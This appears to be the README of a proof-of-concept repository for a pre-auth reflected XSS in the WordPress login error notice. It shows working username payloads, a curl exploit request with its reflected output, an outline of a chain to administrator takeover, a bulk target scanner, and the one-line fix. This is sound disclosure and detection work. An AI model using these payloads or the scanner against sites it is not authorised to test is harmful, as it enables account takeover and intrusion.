CVE-2026-64638 · pre-auth reflected XSS on the WordPress login screen
Unauthenticated attacker controls markup in the login error notice, because a username passes strip_tags() as text and comes back out of KSES as a tag. Patched in 7.0.3 and backported down to 5.8.14.
Affected: 5.8 through 7.0.2. Not 4.7, and not only 6.4+. See the technical analysis.
The space after < is the whole trick. strip_tags() refuses to open a tag when the next byte is whitespace. KSES has no such rule and normalises it back into a tag.
Type it into the username field, any password:
< a href="https://example.com" id="pass1">CLICK ME</a>
Or over curl:
curl -s -X POST http://TARGET/wp-login.php \
--data-urlencode 'log=< a id="pass1" href="#x">CLICK ME</a>' \
--data-urlencode 'pwd=x' \
--data 'wp-submit=Log+In' \
-b 'wordpress_test_cookie=WP+Cookie+check' \
| grep -o '<div id="login_error".*</div>'<div id="login_error" class="notice notice-error"><p><strong>Error:</strong>
The username <strong><a id="pass1" href="#x">CLICK ME</strong> is not registered
on this site. ...
More working payloads:
< a id="pass1" href="#x">z</a> live anchor, attacker chosen id and href
< img src="/wp-admin/images/w-logo-blue.png" id="pass1"> fires a same origin request
< area id="pass1"> minimal allowlisted node
< span class="reset-pass-submit">z</span> class the login JS looks for
Control case, no space, proves the mechanism:
<a id="pass1" href="#x">z</a> stripped, only "z" survives
What does not work, and this matters:
< script>alert(1)</script> renders "alert(1)" as text, KSES drops script
< img src=x onerror=alert(1)> renders <img src="x">, KSES drops onerror
KSES keeps allowlisted elements but strips script and every on* handler. So the primitive is attacker chosen DOM with chosen id / class / href. It is not script execution.
There is no one liner. The reflected XSS is a single request. Code execution is not.
Path, and every step is a precondition rather than a payload:
1. reflected injection pre-auth, one request <- this repo
2. DOM gadget user-profile.js is enqueued on the default login page,
its ready handler fires .trigger('click') on the mere
presence of a class, and its ownership guard compares
two undefined values
3. authenticated victim an administrator has to load the crafted URL in a
logged in browser. curl cannot do this, curl does not
execute JavaScript
4. vendor documented pivot application password capture, then plugin upload
Steps 1 and 2 are properties of the code and are documented in the analysis. Steps 3 and 4 need a victim and a chain. This repo does not ship one.
The gadget in step 2 survived the patch untouched:
git diff --stat 7.0.2..7.0.3 -- src/js/_enqueues/admin/user-profile.js
# empty7.0.3 escaped the injection point. It did not fix the gadget.
libfree.py checks whether an instance still reflects the probe. One POST, benign marker string, nothing executed, nothing written.
python3 libfree.py -u https://example.com
python3 libfree.py -f targets.txt -t 5 -o results.csv
python3 libfree.py -f targets.txt --quiet # print vulnerable hosts only
python3 libfree.py -u https://internal.lan -k # skip TLS verification TARGET STATUS VERSION NOTE
----------------------------------------------------------------------------------
! http://127.0.0.1:8081 VULNERABLE 7.0.2 probe reflected as live markup
+ http://127.0.0.1:8082 PATCHED 7.0.2 probe reflected escaped
. http://127.0.0.1:9999 REFUSED - nothing listening on that port
~ https://127.0.0.1:8081 TLS ERROR - handshake failed: RECORD_LAYER_FAILURE
. http://127.0.0.1:8090 LOGIN DISABLED - HTTP 404, wp-login.php not exposed
. http://does-not-resolve-xyz.invalid NO DNS - hostname does not resolve
. http://127.0.0.1:8081/nonexistent-subdir NOT WORDPRESS - HTTP 200, no WordPress login form
7 checked 1 vulnerable 1 patched 5 not determined
not determined: 1 login disabled, 1 no dns, 1 not wordpress, 1 refused, 1 tls error
It probes rather than fingerprints. The first two hosts both report 7.0.2 and only one is patched, so a version check would have called both vulnerable. That case is common on hosts that backport without bumping the banner.
A target it could not reach is never reported as safe. Everything that is not a conclusive VULNERABLE or PATCHED lands in not determined, with the reason:
| status | meaning |
|---|---|
NO DNS |
hostname does not resolve |
REFUSED |
nothing listening |
TIMEOUT |
no response in time, raise --timeout |
TLS ERROR |
certificate or handshake problem, try -k |
BLOCKED |
401 / 403 / 406 / 429, WAF or rate limit in front |
LOGIN DISABLED |
404, wp-login.php not exposed |
NOT WORDPRESS |
responded, but no login form |
INCONCLUSIVE |
login flow customised, check by hand |
Exit codes: 0 nothing vulnerable, 1 at least one vulnerable, 2 bad input.
Only scan hosts you own or are authorised to test.
Update to 7.0.3, or the patched release on your branch: 6.9.6, 6.8.7, 6.7.6, 6.6.6, 6.5.9, 6.4.9, 6.3.9, 6.2.10, 6.1.11, 6.0.13, 5.9.14, 5.8.14.
The fix is one line in wp-includes/user.php:
- $username
+ esc_html( $username )- Technical analysis: https://christbowel.com/blog/xss2shell
- WordPress 7.0.3 release notes: https://wordpress.org/documentation/wordpress-version/version-7-0-3/
- Upstream commit:
0d6d42e509"Users: Prevent usernames from mangling HTML" - Original disclosure: pwn.ai
